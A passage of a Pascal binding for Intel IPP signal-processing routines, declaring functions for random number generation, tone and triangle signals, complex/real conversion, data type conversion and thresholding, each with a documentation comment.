of the structure ippsRandGaussState_8u/16s/32f.
}
function ippsRandGaussGetSize_8u(pRandGaussStateSize : Int32Ptr ): IppStatus; _ippapi
function ippsRandGaussGetSize_16s(pRandGaussStateSize : Int32Ptr ): IppStatus; _ippapi
function ippsRandGaussGetSize_32f(pRandGaussStateSize : Int32Ptr ): IppStatus; _ippapi
function ippsRandGaussGetSize_64f(pRandGaussStateSize : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsRandGaussInit
Purpose: Initializes the Gaussian sequence generator state structure with
given parameters (mean, variance, seed).
Parameters:
pRandGaussState A pointer to the structure containing parameters for the
generator of noise.
mean Mean of the normal distribution.
stdDev Standard deviation of the normal distribution.
seed Seed value used by the pseudo-random number generator
Returns:
ippStsNullPtrErr pRandGaussState==NULL
ippMemAllocErr Can not allocate normal random state
ippStsNoErr No errors
}
function ippsRandGaussInit_8u( pRandGaussState : IppsRandGaussState_8uPtr ; mean : Ipp8u ; stdDev : Ipp8u ; seed : Word32 ): IppStatus; _ippapi
function ippsRandGaussInit_16s( pRandGaussState : IppsRandGaussState_16sPtr ; mean : Ipp16s ; stdDev : Ipp16s ; seed : Word32 ): IppStatus; _ippapi
function ippsRandGaussInit_32f( pRandGaussState : IppsRandGaussState_32fPtr ; mean : Ipp32f ; stdDev : Ipp32f ; seed : Word32 ): IppStatus; _ippapi
function ippsRandGaussInit_64f( pRandGaussState : IppsRandGaussState_64fPtr ; mean : Ipp64f ; stdDev : Ipp64f ; seed : Word32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsRandUniformGetSize
Purpose: Uniform sequence generator state variable size -
computes the size, in bytes,
of the state variable structure ippsRandIniState_16s.
Return:
ippStsNoErr Ok
ippStsNullPtrErr pRandUniformStateSize==NULL
Arguments:
pRandGaussStateSize pointer to the computed value of the size
of the structure ippsRandUniState_8u/16s/32f.
}
function ippsRandUniformGetSize_8u( pRandUniformStateSize : Int32Ptr ): IppStatus; _ippapi
function ippsRandUniformGetSize_16s( pRandUniformStateSize : Int32Ptr ): IppStatus; _ippapi
function ippsRandUniformGetSize_32f( pRandUniformStateSize : Int32Ptr ): IppStatus; _ippapi
function ippsRandUniformGetSize_64f( pRandUniformStateSize : Int32Ptr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsRandUniformInit
Purpose: Initializes the uniform sequence generator state structure with
given parameters (boundaries, seed)
Parameters:
pRandUniState Pointer to the structure containing parameters for the
generator of noise.
low Lower bound of the uniform distribution`s range.
high Upper bounds of the uniform distribution`s range.
seed Seed value used by the pseudo-random number generation
algorithm.
}
function ippsRandUniformInit_8u( pRandUniState : IppsRandUniState_8uPtr ; low : Ipp8u ; high : Ipp8u ; seed : Word32 ): IppStatus; _ippapi
function ippsRandUniformInit_16s( pRandUniState : IppsRandUniState_16sPtr ; low : Ipp16s ; high : Ipp16s ; seed : Word32 ): IppStatus; _ippapi
function ippsRandUniformInit_32f( pRandUniState : IppsRandUniState_32fPtr ; low : Ipp32f ; high : Ipp32f ; seed : Word32 ): IppStatus; _ippapi
function ippsRandUniformInit_64f( pRandUniState : IppsRandUniState_64fPtr ; low : Ipp64f ; high : Ipp64f ; seed : Word32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsVectorJaehne
Purpose: creates Jaehne vector
Parameters:
pDst the pointer to the destination vector
len length of the vector
magn magnitude of the signal
Return:
ippStsNoErr indicates no error
ippStsNullPtrErr indicates an error when the pDst pointer is NULL
ippStsBadSizeErr indicates an error when len is less or equal zero
ippStsJaehneErr indicates an error when magnitude value is negative
Notes: pDst[n] = magn*sin(0.5*pi*n^2/len), n=0,1,2,..len-1.
}
function ippsVectorJaehne_8u( pDst : Ipp8uPtr ; len : Int32 ; magn : Ipp8u ): IppStatus; _ippapi
function ippsVectorJaehne_16u( pDst : Ipp16uPtr ; len : Int32 ; magn : Ipp16u ): IppStatus; _ippapi
function ippsVectorJaehne_16s( pDst : Ipp16sPtr ; len : Int32 ; magn : Ipp16s ): IppStatus; _ippapi
function ippsVectorJaehne_32s( pDst : Ipp32sPtr ; len : Int32 ; magn : Ipp32s ): IppStatus; _ippapi
function ippsVectorJaehne_32f( pDst : Ipp32fPtr ; len : Int32 ; magn : Ipp32f ): IppStatus; _ippapi
function ippsVectorJaehne_64f( pDst : Ipp64fPtr ; len : Int32 ; magn : Ipp64f ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsTone
Purpose: Generates a tone with a given frequency, phase, and magnitude.
Parameters:
pDst - Pointer to the destination vector.
len - Length of the vector.
magn - Magnitude of the tone; that is, the maximum value attained by the wave.
rFreq - Frequency of the tone relative to the sampling frequency.
It must be in range [0.0, 0.5) for real, and [0.0, 1.0) for complex tone.
pPhase - Phase of the tone relative to a cosinewave. It must be in range [0.0, 2*PI).
hint - Suggests using specific code.
Notes:
for real: pDst[i] = magn * cos(IPP_2PI * rfreq * i + phase);
for cplx: pDst[i].re = magn * cos(IPP_2PI * rfreq * i + phase);
pDst[i].im = magn * sin(IPP_2PI * rfreq * i + phase);
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when length of the vector is less or equal zero.
ippStsToneMagnErr - Error when the magn value is less than or equal to zero.
ippStsToneFreqErr - Error when the rFreq value is less than 0 or greater than or equal to 0.5 for real tone and 1.0 for complex tone.
ippStsTonePhaseErr - Error when the phase value is less 0 or greater or equal 2*PI.
}
function ippsTone_32f( pDst : Ipp32fPtr ; len : Int32 ; magn : Ipp32f ; rFreq : Ipp32f ; pPhase : Ipp32fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippsTone_32fc( pDst : Ipp32fcPtr ; len : Int32 ; magn : Ipp32f ; rFreq : Ipp32f ; pPhase : Ipp32fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippsTone_64f( pDst : Ipp64fPtr ; len : Int32 ; magn : Ipp64f ; rFreq : Ipp64f ; pPhase : Ipp64fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippsTone_64fc( pDst : Ipp64fcPtr ; len : Int32 ; magn : Ipp64f ; rFreq : Ipp64f ; pPhase : Ipp64fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippsTone_16s( pDst : Ipp16sPtr ; len : Int32 ; magn : Ipp16s ; rFreq : Ipp32f ; pPhase : Ipp32fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
function ippsTone_16sc( pDst : Ipp16scPtr ; len : Int32 ; magn : Ipp16s ; rFreq : Ipp32f ; pPhase : Ipp32fPtr ; hint : IppHintAlgorithm ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsTriangle
Purpose: Generates a triangle with a given frequency, phase, and magnitude.
Parameters:
pDst - Pointer to destination vector.
len - Length of the vector.
magn - Magnitude of the Triangle, that is, the maximum value attained by the wave.
rFreq - Frequency of the Triangle relative to the sampling frequency. It must be in range [0.0, 0.5).
pPhase - Pointer to the phase of the Triangle relative to acosinewave. It must be in range [0.0, 2*PI).
The returned value may be used to compute the next continuous data block.
asym - Asymmetry of a triangle. It must be in range [-PI,PI).
Returns:
ippStsNoErr - OK.
ippStsNullPtrErr - Error when any of the specified pointers is NULL.
ippStsSizeErr - Error when length of the vector is less or equal zero.
ippStsTrnglMagnErr - Error when the magn value is less or equal to zero.
ippStsTrnglFreqErr - Error when the rFreq value is less 0 or greater or equal 0.5.
ippStsTrnglPhaseErr - Error when the phase value is less 0 or greater or equal 2*PI.
ippStsTrnglAsymErr - Error when the asym value is less -PI or greater or equal PI.
}
function ippsTriangle_64f( pDst : Ipp64fPtr ; len : Int32 ; magn : Ipp64f ; rFreq : Ipp64f ; asym : Ipp64f ; pPhase : Ipp64fPtr ): IppStatus; _ippapi
function ippsTriangle_64fc( pDst : Ipp64fcPtr ; len : Int32 ; magn : Ipp64f ; rFreq : Ipp64f ; asym : Ipp64f ; pPhase : Ipp64fPtr ): IppStatus; _ippapi
function ippsTriangle_32f( pDst : Ipp32fPtr ; len : Int32 ; magn : Ipp32f ; rFreq : Ipp32f ; asym : Ipp32f ; pPhase : Ipp32fPtr ): IppStatus; _ippapi
function ippsTriangle_32fc( pDst : Ipp32fcPtr ; len : Int32 ; magn : Ipp32f ; rFreq : Ipp32f ; asym : Ipp32f ; pPhase : Ipp32fPtr ): IppStatus; _ippapi
function ippsTriangle_16s( pDst : Ipp16sPtr ; len : Int32 ; magn : Ipp16s ; rFreq : Ipp32f ; asym : Ipp32f ; pPhase : Ipp32fPtr ): IppStatus; _ippapi
function ippsTriangle_16sc( pDst : Ipp16scPtr ; len : Int32 ; magn : Ipp16s ; rFreq : Ipp32f ; asym : Ipp32f ; pPhase : Ipp32fPtr ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Convert functions
------------------------------------------------------------------------------
Name: ippsReal
Purpose: form vector with real part of the input complex vector
Parameters:
pSrc pointer to the input complex vector
pDstRe pointer to the output vector to store the real part
len length of the vectors, number of items
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
}
function ippsReal_64fc( pSrc : Ipp64fcPtr ; pDstRe : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsReal_32fc( pSrc : Ipp32fcPtr ; pDstRe : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsReal_16sc( pSrc : Ipp16scPtr ; pDstRe : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsImag
Purpose: form vector with imaginary part of the input complex vector
Parameters:
pSrc pointer to the input complex vector
pDstRe pointer to the output vector to store the real part
len length of the vectors, number of items
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
}
function ippsImag_64fc( pSrc : Ipp64fcPtr ; pDstIm : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsImag_32fc( pSrc : Ipp32fcPtr ; pDstIm : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsImag_16sc( pSrc : Ipp16scPtr ; pDstIm : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsCplxToReal
Purpose: form the real and imaginary parts of the input complex vector
Parameters:
pSrc pointer to the input complex vector
pDstRe pointer to output vector to store the real part
pDstIm pointer to output vector to store the imaginary part
len length of the vectors, number of items
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
}
function ippsCplxToReal_64fc( pSrc : Ipp64fcPtr ; pDstRe : Ipp64fPtr ; pDstIm : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsCplxToReal_32fc( pSrc : Ipp32fcPtr ; pDstRe : Ipp32fPtr ; pDstIm : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsCplxToReal_16sc( pSrc : Ipp16scPtr ; pDstRe : Ipp16sPtr ; pDstIm : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsRealToCplx
Purpose: form complex vector from the real and imaginary components
Parameters:
pSrcRe pointer to the input vector with real part, may be NULL
pSrcIm pointer to the input vector with imaginary part, may be NULL
pDst pointer to the output complex vector
len length of the vectors
Return:
ippStsNullPtrErr pointer to the destination data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
Notes: one of the two input pointers may be NULL. In this case
the corresponding values of the output complex elements is 0
}
function ippsRealToCplx_64f( pSrcRe : Ipp64fPtr ; pSrcIm : Ipp64fPtr ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsRealToCplx_32f( pSrcRe : Ipp32fPtr ; pSrcIm : Ipp32fPtr ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsRealToCplx_16s( pSrcRe : Ipp16sPtr ; pSrcIm : Ipp16sPtr ; pDst : Ipp16scPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Names: ippsConj, ippsConjFlip
Purpose: complex conjugate data vector
Parameters:
pSrc pointer to the input vector
pDst pointer to the output vector
len length of the vectors
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
Notes:
the ConjFlip version conjugates and stores result in reverse order
}
function ippsConj_64fc_I( pSrcDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConj_32fc_I( pSrcDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConj_16sc_I( pSrcDst : Ipp16scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConj_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConj_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConj_16sc( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConjFlip_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConjFlip_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConjFlip_16sc( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConjCcs_64fc_I( pSrcDst : Ipp64fcPtr ; lenDst : Int32 ): IppStatus; _ippapi
function ippsConjCcs_32fc_I( pSrcDst : Ipp32fcPtr ; lenDst : Int32 ): IppStatus; _ippapi
function ippsConjCcs_64fc( pSrc : Ipp64fPtr ; pDst : Ipp64fcPtr ; lenDst : Int32 ): IppStatus; _ippapi
function ippsConjCcs_32fc( pSrc : Ipp32fPtr ; pDst : Ipp32fcPtr ; lenDst : Int32 ): IppStatus; _ippapi
function ippsConjPack_64fc_I( pSrcDst : Ipp64fcPtr ; lenDst : Int32 ): IppStatus; _ippapi
function ippsConjPack_32fc_I( pSrcDst : Ipp32fcPtr ; lenDst : Int32 ): IppStatus; _ippapi
function ippsConjPack_64fc( pSrc : Ipp64fPtr ; pDst : Ipp64fcPtr ; lenDst : Int32 ): IppStatus; _ippapi
function ippsConjPack_32fc( pSrc : Ipp32fPtr ; pDst : Ipp32fcPtr ; lenDst : Int32 ): IppStatus; _ippapi
function ippsConjPerm_64fc_I( pSrcDst : Ipp64fcPtr ; lenDst : Int32 ): IppStatus; _ippapi
function ippsConjPerm_32fc_I( pSrcDst : Ipp32fcPtr ; lenDst : Int32 ): IppStatus; _ippapi
function ippsConjPerm_64fc( pSrc : Ipp64fPtr ; pDst : Ipp64fcPtr ; lenDst : Int32 ): IppStatus; _ippapi
function ippsConjPerm_32fc( pSrc : Ipp32fPtr ; pDst : Ipp32fcPtr ; lenDst : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsConvert
Purpose: Converts integer data to floating point data
Parameters:
pSrc pointer to integer data to be converted
pDst pointer to the destination vector
len length of the vectors
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
}
function ippsConvert_8s16s( pSrc : Ipp8sPtr ; pDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConvert_16s32s( pSrc : Ipp16sPtr ; pDst : Ipp32sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConvert_32s16s( pSrc : Ipp32sPtr ; pDst : Ipp16sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConvert_8s32f( pSrc : Ipp8sPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConvert_8u32f( pSrc : Ipp8uPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConvert_16s32f( pSrc : Ipp16sPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConvert_16u32f( pSrc : Ipp16uPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConvert_32s64f( pSrc : Ipp32sPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConvert_32s32f( pSrc : Ipp32sPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConvert_64s64f( pSrc : Ipp64sPtr ; pDst : Ipp64fPtr ; len : Ipp32u ): IppStatus; _ippapi
function ippsConvert_16s8s_Sfs( pSrc : Ipp16sPtr ; pDst : Ipp8sPtr ; len : Ipp32u ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
{----------------------------------------------------------------------------
Name: ippsConvert
Purpose: convert floating point data to integer data
Parameters:
pSrc pointer to the input floating point data to be converted
pDst pointer to destination vector
len length of the vectors
rndMode Rounding mode which can be ippRndZero or ippRndNear
scaleFactor scale factor value
Return:
ippStsNullPtrErr pointer(s) to the data NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
Note:
an out-of-range result will be saturated
}
function ippsConvert_32f8s_Sfs( pSrc : Ipp32fPtr ; pDst : Ipp8sPtr ; len : Int32 ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsConvert_32f8u_Sfs( pSrc : Ipp32fPtr ; pDst : Ipp8uPtr ; len : Int32 ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsConvert_32f16s_Sfs( pSrc : Ipp32fPtr ; pDst : Ipp16sPtr ; len : Int32 ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsConvert_32f16u_Sfs( pSrc : Ipp32fPtr ; pDst : Ipp16uPtr ; len : Int32 ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsConvert_64f32s_Sfs( pSrc : Ipp64fPtr ; pDst : Ipp32sPtr ; len : Int32 ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsConvert_32f32s_Sfs( pSrc : Ipp32fPtr ; pDst : Ipp32sPtr ; len : Int32 ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsConvert_64f16s_Sfs( pSrc : Ipp64fPtr ; pDst : Ipp16sPtr ; len : Int32 ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsConvert_64f64s_Sfs( pSrc : Ipp64fPtr ; pDst : Ipp64sPtr ; len : Ipp32u ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsConvert_32f64f
Purpose: Converts floating point data Ipp32f
to floating point data Ipp64f
Parameters:
pSrc pointer to the input vector
pDst pointer to the output vector
len length of the vectors
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
}
function ippsConvert_32f64f( pSrc : Ipp32fPtr ; pDst : Ipp64fPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsConvert_64f32f
Purpose: Converts floating point data Ipp64f
to floating point data Ipp32f
Parameters:
pSrc pointer to the input vector
pDst pointer to the output vector
len length of the vectors
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
Note:
an out-of-range result will be saturated
}
function ippsConvert_64f32f( pSrc : Ipp64fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsConvert
Purpose: Converts integer data to floating point data
Parameters:
pSrc pointer to integer data to be converted
pDst pointer to the destination vector
len length of the vectors
scaleFactor scale factor value
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
}
function ippsConvert_16s32f_Sfs( pSrc : Ipp16sPtr ; pDst : Ipp32fPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsConvert_16s64f_Sfs( pSrc : Ipp16sPtr ; pDst : Ipp64fPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsConvert_32s32f_Sfs( pSrc : Ipp32sPtr ; pDst : Ipp32fPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsConvert_32s64f_Sfs( pSrc : Ipp32sPtr ; pDst : Ipp64fPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsConvert_32s16s_Sfs( pSrc : Ipp32sPtr ; pDst : Ipp16sPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsConvert
Purpose: Converts 24u data to 32u or 32f data.
Converts 32u or 32f data to 24u data.
Converts 24s data to 32s or 32f data.
Converts 32s or 32f data to 24s data.
Parameters:
pSrc pointer to the input vector
pDst pointer to the output vector
len length of the vectors
scaleFactor scale factor value
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
}
function ippsConvert_24u32u( pSrc : Ipp8uPtr ; pDst : Ipp32uPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConvert_32u24u_Sfs( pSrc : Ipp32uPtr ; pDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsConvert_24u32f( pSrc : Ipp8uPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConvert_32f24u_Sfs( pSrc : Ipp32fPtr ; pDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsConvert_24s32s( pSrc : Ipp8uPtr ; pDst : Ipp32sPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConvert_32s24s_Sfs( pSrc : Ipp32sPtr ; pDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
function ippsConvert_24s32f( pSrc : Ipp8uPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
function ippsConvert_32f24s_Sfs( pSrc : Ipp32fPtr ; pDst : Ipp8uPtr ; len : Int32 ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsConvert_16s16f
Purpose: Converts integer data to floating point data
Parameters:
pSrc pointer to integer data to be converted
pDst pointer to the destination vector
len length of the vectors
rndMode Rounding mode which can be ippRndZero or ippRndNear
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
}
function ippsConvert_16s16f( pSrc : Ipp16sPtr ; pDst : Ipp16fPtr ; len : Int32 ; rndMode : IppRoundMode ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsConvert_16f16s_Sfs
Purpose: convert floating point data to integer data
Parameters:
pSrc pointer to the input floating point data to be converted
pDst pointer to destination vector
len length of the vectors
rndMode Rounding mode which can be ippRndZero or ippRndNear
scaleFactor scale factor value
Return:
ippStsNullPtrErr pointer(s) to the data NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
Note:
an out-of-range result will be saturated
}
function ippsConvert_16f16s_Sfs( pSrc : Ipp16fPtr ; pDst : Ipp16sPtr ; len : Int32 ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsConvert_32f16f
Purpose: Converts floating point data Ipp32f
to floating point data Ipp16f
Parameters:
pSrc pointer to the input vector
pDst pointer to the output vector
len length of the vectors
rndMode Rounding mode which can be ippRndZero or ippRndNear
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
}
function ippsConvert_32f16f( pSrc : Ipp32fPtr ; pDst : Ipp16fPtr ; len : Int32 ; rndMode : IppRoundMode ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsConvert_16f32f
Purpose: Converts floating point data Ipp16f
to floating point data Ipp32f
Parameters:
pSrc pointer to the input vector
pDst pointer to the output vector
len length of the vectors
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
}
function ippsConvert_16f32f( pSrc : Ipp16fPtr ; pDst : Ipp32fPtr ; len : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsConvert
Purpose: convert integer data to integer data
Parameters:
pSrc pointer to the input integer data to be converted
pDst pointer to destination vector
len length of the vectors
rndMode Rounding mode which can be ippRndZero or ippRndNear
scaleFactor scale factor value
Return:
ippStsNullPtrErr pointer(s) to the data NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsNoErr otherwise
Note:
an out-of-range result will be saturated
}
function ippsConvert_64s32s_Sfs( pSrc : Ipp64sPtr ; pDst : Ipp32sPtr ; len : Int32 ; rndMode : IppRoundMode ; scaleFactor : Int32 ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsThreshold
Purpose: execute threshold operation on every element of the vector
Parameters:
level level of the threshold operation
pSrcDst pointer to the vector for in-place operation
pSrc pointer to the input vector
pDst pointer to the output vector
len length of the vectors
relOp comparison mode, cmpLess or cmpGreater
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsThreshNegLevelErr negative level value in complex operation
ippStsBadArgErr relOp is no cmpLess and no cmpGreater
ippStsNoErr otherwise
Notes:
real data
cmpLess : pDst[n] = pSrc[n] < level ? level : pSrc[n];
cmpGreater : pDst[n] = pSrc[n] > level ? level : pSrc[n];
complex data
cmpLess : pDst[n] = abs(pSrc[n]) < level ? pSrc[n]*k : pSrc[n];
cmpGreater : pDst[n] = abs(pSrc[n]) > level ? pSrc[n]*k : pSrc[n];
where k = level / abs(pSrc[n]);
}
function ippsThreshold_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ; level : Ipp32f ; relOp : IppCmpOp ): IppStatus; _ippapi
function ippsThreshold_32fc_I( pSrcDst : Ipp32fcPtr ; len : Int32 ; level : Ipp32f ; relOp : IppCmpOp ): IppStatus; _ippapi
function ippsThreshold_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ; level : Ipp64f ; relOp : IppCmpOp ): IppStatus; _ippapi
function ippsThreshold_64fc_I( pSrcDst : Ipp64fcPtr ; len : Int32 ; level : Ipp64f ; relOp : IppCmpOp ): IppStatus; _ippapi
function ippsThreshold_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ; level : Ipp16s ; relOp : IppCmpOp ): IppStatus; _ippapi
function ippsThreshold_16sc_I( pSrcDst : Ipp16scPtr ; len : Int32 ; level : Ipp16s ; relOp : IppCmpOp ): IppStatus; _ippapi
function ippsThreshold_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ; level : Ipp32f ; relOp : IppCmpOp ): IppStatus; _ippapi
function ippsThreshold_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ; level : Ipp32f ; relOp : IppCmpOp ): IppStatus; _ippapi
function ippsThreshold_64f( pSrc : Ipp64fPtr ; pDst : Ipp64fPtr ; len : Int32 ; level : Ipp64f ; relOp : IppCmpOp ): IppStatus; _ippapi
function ippsThreshold_64fc( pSrc : Ipp64fcPtr ; pDst : Ipp64fcPtr ; len : Int32 ; level : Ipp64f ; relOp : IppCmpOp ): IppStatus; _ippapi
function ippsThreshold_16s( pSrc : Ipp16sPtr ; pDst : Ipp16sPtr ; len : Int32 ; level : Ipp16s ; relOp : IppCmpOp ): IppStatus; _ippapi
function ippsThreshold_16sc( pSrc : Ipp16scPtr ; pDst : Ipp16scPtr ; len : Int32 ; level : Ipp16s ; relOp : IppCmpOp ): IppStatus; _ippapi
{ ----------------------------------------------------------------------------
Name: ippsThresholdLT
ippsThresholdGT
Purpose: execute threshold operation on every element of the vector,
"less than" for ippsThresoldLT
"greater than for ippsThresholdGT
Parameters:
pSrcDst pointer to the vector for in-place operation
pSrc pointer to the input vector
pDst pointer to the output vector
len length of the vectors
level level of the threshold operation
Return:
ippStsNullPtrErr pointer(s) to the data is NULL
ippStsSizeErr length of the vectors is less or equal zero
ippStsThreshNegLevelErr negative level value in complex operation
ippStsNoErr otherwise
}
function ippsThreshold_LT_32f_I( pSrcDst : Ipp32fPtr ; len : Int32 ; level : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_LT_32fc_I( pSrcDst : Ipp32fcPtr ; len : Int32 ; level : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_LT_64f_I( pSrcDst : Ipp64fPtr ; len : Int32 ; level : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_LT_64fc_I( pSrcDst : Ipp64fcPtr ; len : Int32 ; level : Ipp64f ): IppStatus; _ippapi
function ippsThreshold_LT_16s_I( pSrcDst : Ipp16sPtr ; len : Int32 ; level : Ipp16s ): IppStatus; _ippapi
function ippsThreshold_LT_16sc_I( pSrcDst : Ipp16scPtr ; len : Int32 ; level : Ipp16s ): IppStatus; _ippapi
function ippsThreshold_LT_32f( pSrc : Ipp32fPtr ; pDst : Ipp32fPtr ; len : Int32 ; level : Ipp32f ): IppStatus; _ippapi
function ippsThreshold_LT_32fc( pSrc : Ipp32fcPtr ; pDst : Ipp32fcPtr ; len : Int32 ; level : Ipp32f ): IppStatus; _ippapi
